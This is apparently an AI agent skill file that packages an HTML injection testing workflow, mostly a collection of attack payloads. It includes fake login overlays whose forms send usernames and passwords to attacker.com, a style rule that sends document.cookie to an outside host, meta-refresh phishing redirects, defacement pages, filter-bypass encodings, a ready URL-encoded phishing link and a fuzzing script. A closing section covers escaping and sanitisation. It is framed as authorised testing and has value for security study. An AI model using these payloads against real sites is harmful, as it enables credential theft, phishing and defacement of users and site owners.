---
name: html-injection-testing
description: "HTML Injection Testing workflow skill. Use this skill when the user needs Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms and the operator should preserve the upstream workflow, copied support files, and provenance before merging or handing off."
version: "0.0.1"
category: testing-security
tags: ["html-injection-testing", "identify", "and", "exploit", "html", "injection", "vulnerabilities", "allow"]
complexity: advanced
risk: caution
tools: ["codex-cli", "claude-code", "cursor", "gemini-cli", "opencode"]
source: community
author: "zebbern"
date_added: "2026-04-15"
date_updated: "2026-04-25"
---

# HTML Injection Testing

## Overview

This public intake copy packages `plugins/antigravity-awesome-skills-claude/skills/html-injection-testing` from `https://github.com/sickn33/antigravity-awesome-skills` into the native Omni Skills editorial shape without hiding its origin.

Use it when the operator needs the upstream workflow, support files, and repository context to stay intact while the public validator and private enhancer continue their normal downstream flow.

This intake keeps the copied upstream files intact and uses the `external_source` block in `metadata.json` plus `ORIGIN.md` as the provenance anchor for review.

> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments. # HTML Injection Testing

Imported source sections that did not map cleanly to the public headings are still preserved below or in the support files. Notable imported sections: Purpose, Prerequisites, Outputs and Deliverables, Constraints and Limitations.

## When to Use This Skill

Use this section as the trigger filter. It should make the activation boundary explicit before the operator loads files, runs commands, or opens a pull request.

- This skill is applicable to execute the workflow or actions described in the overview.
- Use when the request clearly matches the imported source intent: Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages,....
- Use when the operator should preserve upstream workflow detail instead of rewriting the process from scratch.
- Use when provenance needs to stay visible in the answer, PR, or review packet.
- Use when copied upstream references, examples, or scripts materially improve the answer.
- Use when the workflow should remain reviewable in the public intake repo before the private enhancer takes over.

## Operating Table

| Situation | Start here | Why it matters |
| --- | --- | --- |
| First-time use | `metadata.json` | Confirms repository, branch, commit, and imported path through the `external_source` block before touching the copied workflow |
| Provenance review | `ORIGIN.md` | Gives reviewers a plain-language audit trail for the imported source |
| Workflow execution | `SKILL.md` | Starts with the smallest copied file that materially changes execution |
| Supporting context | `SKILL.md` | Adds the next most relevant copied source file without loading the entire package |
| Handoff decision | `## Related Skills` | Helps the operator switch to a stronger native skill when the task drifts |

## Workflow

This workflow is intentionally editorial and operational at the same time. It keeps the imported source useful to the operator while still satisfying the public intake standards that feed the downstream enhancer flow.

1. HTML injection: Only HTML tags are rendered
2. XSS: JavaScript code is executed
3. HTML injection is often stepping stone to XSS
4. Modify website appearance (defacement)
5. Create fake login forms (phishing)
6. Inject malicious links
7. Display misleading content

### Imported Workflow Notes

#### Imported: Core Workflow

### Phase 1: Understanding HTML Injection

HTML injection occurs when user input is reflected in web pages without proper sanitization:

```html
<!-- Vulnerable code example -->
<div>
    Welcome, <?php echo $_GET['name']; ?>
</div>

<!-- Attack input -->
?name=<h1>Injected Content</h1>

<!-- Rendered output -->
<div>
    Welcome, <h1>Injected Content</h1>
</div>
```

Key differences from XSS:
- HTML injection: Only HTML tags are rendered
- XSS: JavaScript code is executed
- HTML injection is often stepping stone to XSS

Attack goals:
- Modify website appearance (defacement)
- Create fake login forms (phishing)
- Inject malicious links
- Display misleading content

### Phase 2: Identifying Injection Points

Map application for potential injection surfaces:

```
1. Search bars and search results
2. Comment sections
3. User profile fields
4. Contact forms and feedback
5. Registration forms
6. URL parameters reflected on page
7. Error messages
8. Page titles and headers
9. Hidden form fields
10. Cookie values reflected on page
```

Common vulnerable parameters:
```
?name=
?user=
?search=
?query=
?message=
?title=
?content=
?redirect=
?url=
?page=
```

### Phase 3: Basic HTML Injection Testing

Test with simple HTML tags:

```html
<!-- Basic text formatting -->
<h1>Test Injection</h1>
<b>Bold Text</b>
<i>Italic Text</i>
<u>Underlined Text</u>
<font color="red">Red Text</font>

<!-- Structural elements -->
<div style="background:red;color:white;padding:10px">Injected DIV</div>
<p>Injected paragraph</p>
<br><br><br>Line breaks

<!-- Links -->
<a href="http://attacker.com">Click Here</a>
<a href="http://attacker.com">Legitimate Link</a>

<!-- Images -->
<img src="http://attacker.com/image.png">
<img src="x" onerror="alert(1)">  <!-- XSS attempt -->
```

Testing workflow:
```bash
# Test basic injection
curl "http://target.com/search?q=<h1>Test</h1>"

# Check if HTML renders in response
curl -s "http://target.com/search?q=<b>Bold</b>" | grep -i "bold"

# Test in URL-encoded form
curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E"
```

### Phase 4: Types of HTML Injection

#### Stored HTML Injection

Payload persists in database:

```html
<!-- Profile bio injection -->
Name: John Doe
Bio: <div style="position:absolute;top:0;left:0;width:100%;height:100%;background:white;">
     <h1>Site Under Maintenance</h1>
     <p>Please login at <a href="http://attacker.com/login">portal.company.com</a></p>
     </div>

<!-- Comment injection -->
Great article!
<form action="http://attacker.com/steal" method="POST">
    <input name="username" placeholder="Session expired. Enter username:">
    <input name="password" type="password" placeholder="Password:">
    <input type="submit" value="Login">
</form>
```

#### Reflected GET Injection

Payload in URL parameters:

```html
<!-- URL injection -->
http://target.com/welcome?name=<h1>Welcome%20Admin</h1><form%20action="http://attacker.com/steal">

<!-- Search result injection -->
http://target.com/search?q=<marquee>Your%20account%20has%20been%20compromised</marquee>
```

#### Reflected POST Injection

Payload in POST data:

```bash
# POST injection test
curl -X POST -d "comment=<div style='color:red'>Malicious Content</div>" \
     http://target.com/submit

# Form field injection
curl -X POST -d "name=<script>alert(1)</script>&email=test@test.com" \
     http://target.com/register
```

#### URL-Based Injection

Inject into displayed URLs:

```html
<!-- If URL is displayed on page -->
http://target.com/page/<h1>Injected</h1>

<!-- Path-based injection -->
http://target.com/users/<img src=x>/profile
```

### Phase 5: Phishing Attack Construction

Create convincing phishing forms:

```html
<!-- Fake login form overlay -->
<div style="position:fixed;top:0;left:0;width:100%;height:100%;
            background:white;z-index:9999;padding:50px;">
    <h2>Session Expired</h2>
    <p>Your session has expired. Please log in again.</p>
    <form action="http://attacker.com/capture" method="POST">
        <label>Username:</label><br>
        <input type="text" name="username" style="width:200px;"><br><br>
        <label>Password:</label><br>
        <input type="password" name="password" style="width:200px;"><br><br>
        <input type="submit" value="Login">
    </form>
</div>

<!-- Hidden credential stealer -->
<style>
    input { background: url('http://attacker.com/log?data=') }
</style>
<form action="http://attacker.com/steal" method="POST">
    <input name="user" placeholder="Verify your username">
    <input name="pass" type="password" placeholder="Verify your password">
    <button>Verify</button>
</form>
```

URL-encoded phishing link:
```
http://target.com/page?msg=%3Cdiv%20style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bbackground%3Awhite%3Bz-index%3A9999%3Bpadding%3A50px%3B%22%3E%3Ch2%3ESession%20Expired%3C%2Fh2%3E%3Cform%20action%3D%22http%3A%2F%2Fattacker.com%2Fcapture%22%3E%3Cinput%20name%3D%22user%22%20placeholder%3D%22Username%22%3E%3Cinput%20name%3D%22pass%22%20type%3D%22password%22%3E%3Cbutton%3ELogin%3C%2Fbutton%3E%3C%2Fform%3E%3C%2Fdiv%3E
```

### Phase 6: Defacement Payloads

Website appearance manipulation:

```html
<!-- Full page overlay -->
<div style="position:fixed;top:0;left:0;width:100%;height:100%;
            background:#000;color:#0f0;z-index:9999;
            display:flex;justify-content:center;align-items:center;">
    <h1>HACKED BY SECURITY TESTER</h1>
</div>

<!-- Content replacement -->
<style>body{display:none}</style>
<body style="display:block !important">
    <h1>This site has been compromised</h1>
</body>

<!-- Image injection -->
<img src="http://attacker.com/defaced.jpg"
     style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999">

<!-- Marquee injection (visible movement) -->
<marquee behavior="alternate" style="font-size:50px;color:red;">
    SECURITY VULNERABILITY DETECTED
</marquee>
```

### Phase 7: Advanced Injection Techniques

#### CSS Injection

```html
<!-- Style injection -->
<style>
    body { background: url('http://attacker.com/track?cookie='+document.cookie) }
    .content { display: none }
    .fake-content { display: block }
</style>

<!-- Inline style injection -->
<div style="background:url('http://attacker.com/log')">Content</div>
```

#### Meta Tag Injection

```html
<!-- Redirect via meta refresh -->
<meta http-equiv="refresh" content="0;url=http://attacker.com/phish">

<!-- CSP bypass attempt -->
<meta http-equiv="Content-Security-Policy" content="default-src *">
```

#### Form Action Override

```html
<!-- Hijack existing form -->
<form action="http://attacker.com/steal">

<!-- If form already exists, add input -->
<input type="hidden" name="extra" value="data">
</form>
```

#### iframe Injection

```html
<!-- Embed external content -->
<iframe src="http://attacker.com/malicious" width="100%" height="500"></iframe>

<!-- Invisible tracking iframe -->
<iframe src="http://attacker.com/track" style="display:none"></iframe>
```

### Phase 8: Bypass Techniques

Evade basic filters:

```html
<!-- Case variations -->
<H1>Test</H1>
<ScRiPt>alert(1)</ScRiPt>

<!-- Encoding variations -->
&#60;h1&#62;Encoded&#60;/h1&#62;
%3Ch1%3EURL%20Encoded%3C%2Fh1%3E

<!-- Tag splitting -->
<h
1>Split Tag</h1>

<!-- Null bytes -->
<h1%00>Null Byte</h1>

<!-- Double encoding -->
%253Ch1%253EDouble%2520Encoded%253C%252Fh1%253E

<!-- Unicode encoding -->
\u003ch1\u003eUnicode\u003c/h1\u003e

<!-- Attribute-based -->
<div onmouseover="alert(1)">Hover me</div>
<img src=x onerror=alert(1)>
```

### Phase 9: Automated Testing

#### Using Burp Suite

```
1. Capture request with potential injection point
2. Send to Intruder
3. Mark parameter value as payload position
4. Load HTML injection wordlist
5. Start attack
6. Filter responses for rendered HTML
7. Manually verify successful injections
```

#### Using OWASP ZAP

```
1. Spider the target application
2. Active Scan with HTML injection rules
3. Review Alerts for injection findings
4. Validate findings manually
```

#### Custom Fuzzing Script

```python
#!/usr/bin/env python3
import requests
import urllib.parse

target = "http://target.com/search"
param = "q"

payloads = [
    "<h1>Test</h1>",
    "<b>Bold</b>",
    "<script>alert(1)</script>",
    "<img src=x onerror=alert(1)>",
    "<a href='http://evil.com'>Click</a>",
    "<div style='color:red'>Styled</div>",
    "<marquee>Moving</marquee>",
    "<iframe src='http://evil.com'></iframe>",
]

for payload in payloads:
    encoded = urllib.parse.quote(payload)
    url = f"{target}?{param}={encoded}"

    try:
        response = requests.get(url, timeout=5)
        if payload.lower() in response.text.lower():
            print(f"[+] Possible injection: {payload}")
        elif "<h1>" in response.text or "<b>" in response.text:
            print(f"[?] Partial reflection: {payload}")
    except Exception as e:
        print(f"[-] Error: {e}")
```

### Phase 10: Prevention and Remediation

Secure coding practices:

```php
// PHP: Escape output
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');

// PHP: Strip tags
echo strip_tags($user_input);

// PHP: Allow specific tags only
echo strip_tags($user_input, '<p><b><i>');
```

```python
# Python: HTML escape
from html import escape
safe_output = escape(user_input)

# Python Flask: Auto-escaping
{{ user_input }}  # Jinja2 escapes by default
{{ user_input | safe }}  # Marks as safe (dangerous!)
```

```javascript
// JavaScript: Text content (safe)
element.textContent = userInput;

// JavaScript: innerHTML (dangerous!)
element.innerHTML = userInput;  // Vulnerable!

// JavaScript: Sanitize
const clean = DOMPurify.sanitize(userInput);
element.innerHTML = clean;
```

Server-side protections:
- Input validation (whitelist allowed characters)
- Output encoding (context-aware escaping)
- Content Security Policy (CSP) headers
- Web Application Firewall (WAF) rules

#### Imported: Purpose

Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms.

## Examples

### Example 1: Ask for the upstream workflow directly

```text
Use @html-injection-testing to handle <task>. Start from the copied upstream workflow, load only the files that change the outcome, and keep provenance visible in the answer.
```

**Explanation:** This is the safest starting point when the operator needs the imported workflow, but not the entire repository.

### Example 2: Ask for a provenance-grounded review

```text
Review @html-injection-testing against metadata.json and ORIGIN.md, then explain which copied upstream files you would load first and why.
```

**Explanation:** Use this before review or troubleshooting when you need a precise, auditable explanation of origin and file selection.

### Example 3: Narrow the copied support files before execution

```text
Use @html-injection-testing for <task>. Load only the copied references, examples, or scripts that change the outcome, and name the files explicitly before proceeding.
```

**Explanation:** This keeps the skill aligned with progressive disclosure instead of loading the whole copied package by default.

### Example 4: Build a reviewer packet

```text
Review @html-injection-testing using the copied upstream files plus provenance, then summarize any gaps before merge.
```

**Explanation:** This is useful when the PR is waiting for human review and you want a repeatable audit packet.



## Best Practices

Treat the generated public skill as a reviewable packaging layer around the upstream repository. The goal is to keep provenance explicit and load only the copied source material that materially improves execution.

- Keep the imported skill grounded in the upstream repository; do not invent steps that the source material cannot support.
- Prefer the smallest useful set of support files so the workflow stays auditable and fast to review.
- Keep provenance, source commit, and imported file paths visible in notes and PR descriptions.
- Point directly at the copied upstream files that justify the workflow instead of relying on generic review boilerplate.
- Treat generated examples as scaffolding; adapt them to the concrete task before execution.
- Route to a stronger native skill when architecture, debugging, design, or security concerns become dominant.



## Troubleshooting

### Problem: The operator skipped the imported context and answered too generically

**Symptoms:** The result ignores the upstream workflow in `plugins/antigravity-awesome-skills-claude/skills/html-injection-testing`, fails to mention provenance, or does not use any copied source files at all.
**Solution:** Re-open `metadata.json`, `ORIGIN.md`, and the most relevant copied upstream files. Check the `external_source` block first, then restate the provenance before continuing.

### Problem: The imported workflow feels incomplete during review

**Symptoms:** Reviewers can see the generated `SKILL.md`, but they cannot quickly tell which references, examples, or scripts matter for the current task.
**Solution:** Point at the exact copied references, examples, scripts, or assets that justify the path you took. If the gap is still real, record it in the PR instead of hiding it.

### Problem: The task drifted into a different specialization

**Symptoms:** The imported skill starts in the right place, but the work turns into debugging, architecture, design, security, or release orchestration that a native skill handles better.
**Solution:** Use the related skills section to hand off deliberately. Keep the imported provenance visible so the next skill inherits the right context instead of starting blind.

### Imported Troubleshooting Notes

#### Imported: Troubleshooting

| Issue | Solutions |
|-------|-----------|
| HTML not rendering | Check if output HTML-encoded; try encoding variations; verify HTML context |
| Payload stripped | Use encoding variations; try tag splitting; test null bytes; nested tags |
| XSS not working (HTML only) | JS filtered but HTML allowed; leverage phishing forms, meta refresh redirects |

## Related Skills

- `@00-andruia-consultant` - Use when the work is better handled by that native specialization after this imported skill establishes context.
- `@00-andruia-consultant-v2` - Use when the work is better handled by that native specialization after this imported skill establishes context.
- `@10-andruia-skill-smith` - Use when the work is better handled by that native specialization after this imported skill establishes context.
- `@10-andruia-skill-smith-v2` - Use when the work is better handled by that native specialization after this imported skill establishes context.

## Additional Resources

Use this support matrix and the linked files below as the operator packet for this imported skill. They should reflect real copied source material, not generic scaffolding.

| Resource family | What it gives the reviewer | Example path |
| --- | --- | --- |
| `references` | copied reference notes, guides, or background material from upstream | `references/n/a` |
| `examples` | worked examples or reusable prompts copied from upstream | `examples/n/a` |
| `scripts` | upstream helper scripts that change execution or validation | `scripts/n/a` |
| `agents` | routing or delegation notes that are genuinely part of the imported package | `agents/n/a` |
| `assets` | supporting assets or schemas copied from the source package | `assets/n/a` |



### Imported Reference Notes

#### Imported: Quick Reference

### Common Test Payloads

| Payload | Purpose |
|---------|---------|
| `<h1>Test</h1>` | Basic rendering test |
| `<b>Bold</b>` | Simple formatting |
| `<a href="evil.com">Link</a>` | Link injection |
| `<img src=x>` | Image tag test |
| `<div style="color:red">` | Style injection |
| `<form action="evil.com">` | Form hijacking |

### Injection Contexts

| Context | Test Approach |
|---------|---------------|
| URL parameter | `?param=<h1>test</h1>` |
| Form field | POST with HTML payload |
| Cookie value | Inject via document.cookie |
| HTTP header | Inject in Referer/User-Agent |
| File upload | HTML file with malicious content |

### Encoding Types

| Type | Example |
|------|---------|
| URL encoding | `%3Ch1%3E` = `<h1>` |
| HTML entities | `&#60;h1&#62;` = `<h1>` |
| Double encoding | `%253C` = `<` |
| Unicode | `\u003c` = `<` |

#### Imported: Prerequisites

### Required Tools
- Web browser with developer tools
- Burp Suite or OWASP ZAP
- Tamper Data or similar proxy
- cURL for testing payloads

### Required Knowledge
- HTML fundamentals
- HTTP request/response structure
- Web application input handling
- Difference between HTML injection and XSS

#### Imported: Outputs and Deliverables

1. **Vulnerability Report** - Identified injection points
2. **Exploitation Proof** - Demonstrated content manipulation
3. **Impact Assessment** - Potential phishing and defacement risks
4. **Remediation Guidance** - Input validation recommendations

#### Imported: Constraints and Limitations

### Attack Limitations
- Modern browsers may sanitize some injections
- CSP can prevent inline styles and scripts
- WAFs may block common payloads
- Some applications escape output properly

### Testing Considerations
- Distinguish between HTML injection and XSS
- Verify visual impact in browser
- Test in multiple browsers
- Check for stored vs reflected

### Severity Assessment
- Lower severity than XSS (no script execution)
- Higher impact when combined with phishing
- Consider defacement/reputation damage
- Evaluate credential theft potential